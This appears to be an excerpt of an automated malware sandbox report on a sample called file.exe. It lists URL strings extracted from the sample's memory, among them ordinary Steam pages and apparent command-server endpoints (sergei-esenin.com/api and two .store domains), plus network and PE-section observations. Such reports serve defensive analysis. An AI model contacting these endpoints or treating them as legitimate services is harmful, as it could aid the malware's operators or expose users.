Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4Ok
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContentl
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=cdfm
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=l
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/sticker
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=qu55UpguGheU&l=e
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/ja
Source: file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/auth_re
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEG
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/;
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218168501.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/CI
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218364928.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199613296.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/kI
Source: file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/api
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000002.2218364928.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199613296.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218429199.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2199613296.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218364928.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000002.2218364928.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199613296.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997243319007
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.ste
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.stea
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api
Source: file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/re
Source: file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00400228	0_2_00400228
